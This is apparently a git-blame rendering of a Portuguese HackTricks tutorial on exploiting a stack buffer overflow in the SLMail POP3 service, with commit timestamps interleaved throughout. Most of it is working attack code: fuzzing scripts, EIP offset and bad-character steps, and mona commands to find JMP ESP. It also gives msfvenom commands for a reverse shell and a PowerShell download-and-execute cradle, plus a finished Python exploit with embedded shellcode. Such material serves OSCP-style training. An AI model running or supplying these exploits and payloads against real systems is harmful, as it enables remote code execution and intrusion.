2023-06-06 18:56:34 +00:00
## Explorando o Windows (Guia Básico - Nível OSCP)
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética** ? Você quer ver sua **empresa anunciada no HackTricks** ? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF** ? Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Adquira o [**swag oficial do PEASS & HackTricks** ](https://peass.creator-spring.com )
* **Junte-se ao** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga-me** no **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks** ](https://github.com/carlospolop/hacktricks ) **e para o** [**repositório hacktricks-cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2023-06-06 18:56:34 +00:00
## **Comece instalando o serviço SLMail**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Reinicie o serviço SLMail
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Sempre que precisar **reiniciar o serviço SLMail** , você pode fazê-lo usando o console do Windows:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
net start slmail
```
2023-06-06 18:56:34 +00:00
## Modelo de exploração Python muito básico
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
```python
#!/usr/bin/python
import socket
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
# Create an array of buffers, from 10 to 2000, with increments of 20.
buffer=["A"]
counter=100
while len(buffer) < = 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
```
Este é um modelo muito básico de exploração em Python.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
```python
#!/usr/bin/python
import socket
# Cria um array de buffers, de 10 a 2000, com incrementos de 20.
buffer=["A"]
counter=100
while len(buffer) < = 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.10',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
```
Este script cria um array de buffers com incrementos de 20, que vão de 10 a 2000 bytes. Em seguida, ele itera sobre cada buffer e envia uma solicitação de autenticação para um servidor de email em `192.168.1.10` na porta `110` . O objetivo é encontrar o tamanho máximo do buffer que o servidor pode lidar sem falhar. O script imprime o tamanho do buffer que está sendo testado em cada iteração.
2020-12-28 14:30:41 +00:00
```python
2020-07-15 15:43:14 +00:00
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
2023-06-06 18:56:34 +00:00
## **Alterar a fonte do Immunity Debugger**
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Vá em `Opções >> Aparência >> Fontes >> Alterar (Consolas, Negrito, 9) >> OK`
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## **Anexar o processo ao Immunity Debugger:**
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Arquivo --> Anexar**
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 24 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**E pressione o botão INICIAR**
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## **Enviar o exploit e verificar se o EIP é afetado:**
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 25 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Criar um padrão para modificar o EIP
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
O padrão deve ser tão grande quanto o buffer que você usou para interromper o serviço anteriormente.
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 26 ) ( 1 ) ( 1 ) . png > )
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
2023-06-06 18:56:34 +00:00
Altere o buffer do exploit e defina o padrão e execute o exploit.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Um novo crash deve aparecer, mas com um endereço EIP diferente:
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 27 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Verifique se o endereço estava no seu padrão:
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 28 ) ( 1 ) ( 1 ) . png > )
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
2023-06-06 18:56:34 +00:00
Parece que **podemos modificar o EIP no offset 2606** do buffer.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Verifique modificando o buffer do exploit:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
2023-06-06 18:56:34 +00:00
Com este buffer, o EIP quebrou e deve apontar para 42424242 ("BBBB").
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 30 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-12-24 19:34:46 +00:00
![](< .. / . gitbook / assets / image ( 29 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Parece que está funcionando.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Verificar espaço para o Shellcode dentro do stack
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
600B deve ser suficiente para qualquer shellcode poderoso.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Vamos mudar o buffer:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
2023-06-06 18:56:34 +00:00
Execute o novo exploit e verifique o EBP e o comprimento do shellcode útil.
2020-07-15 15:43:14 +00:00
2022-09-30 10:27:15 +00:00
![](< .. / . gitbook / assets / image ( 31 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 32 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Verifique os caracteres inválidos
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Mude novamente o buffer:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
2023-06-06 18:56:34 +00:00
Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Execute repetidamente o exploit com este novo buffer excluindo os caracteres que são considerados inúteis:
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Por exemplo:
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Neste caso, você pode ver que **não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
2020-07-15 15:43:14 +00:00
2022-10-24 09:15:22 +00:00
![](< .. / . gitbook / assets / image ( 33 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Neste caso, você pode ver que **o caractere 0x0D é evitado** :
2020-07-15 15:43:14 +00:00
2022-12-03 18:45:54 +00:00
![](< .. / . gitbook / assets / image ( 34 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Encontre um JMP ESP como endereço de retorno
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Usando:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
2023-06-06 18:56:34 +00:00
Você irá **listar os mapas de memória** . Procure por alguma DLL que tenha:
2020-07-15 15:43:14 +00:00
* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**
2022-12-03 18:45:54 +00:00
![](< .. / . gitbook / assets / image ( 35 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Agora, dentro dessa memória, você deve encontrar alguns bytes JMP ESP, para fazer isso execute:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
2023-06-06 18:56:34 +00:00
**Em seguida, se algum endereço for encontrado, escolha um que não contenha nenhum caractere inválido:**
2020-07-15 15:43:14 +00:00
2022-12-03 18:45:54 +00:00
![](< .. / . gitbook / assets / image ( 36 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Neste caso, por exemplo: \_0x5f4a358f**\_
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Criar shellcode
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
2023-06-06 18:56:34 +00:00
Se o exploit não estiver funcionando, mas deveria (você pode ver com o ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criação de diferentes shellcodes para os mesmos parâmetros).
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit:
2020-12-28 15:40:10 +00:00
```bash
2020-07-15 15:43:14 +00:00
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
2020-12-28 15:40:10 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Existem shellcodes que **se sobrescrevem** , portanto é importante sempre adicionar alguns NOPs antes do shellcode.
2020-12-28 15:40:10 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
## Melhorando o shellcode
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
Adicione estes parâmetros:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
EXITFUNC=thread -e x86/shikata_ga_nai
```
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética** ? Você quer ver sua **empresa anunciada no HackTricks** ? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF** ? Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Adquira o [**swag oficial do PEASS & HackTricks** ](https://peass.creator-spring.com )
* **Junte-se ao** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga-me** no **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks** ](https://github.com/carlospolop/hacktricks ) **e para o** [**repositório hacktricks-cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >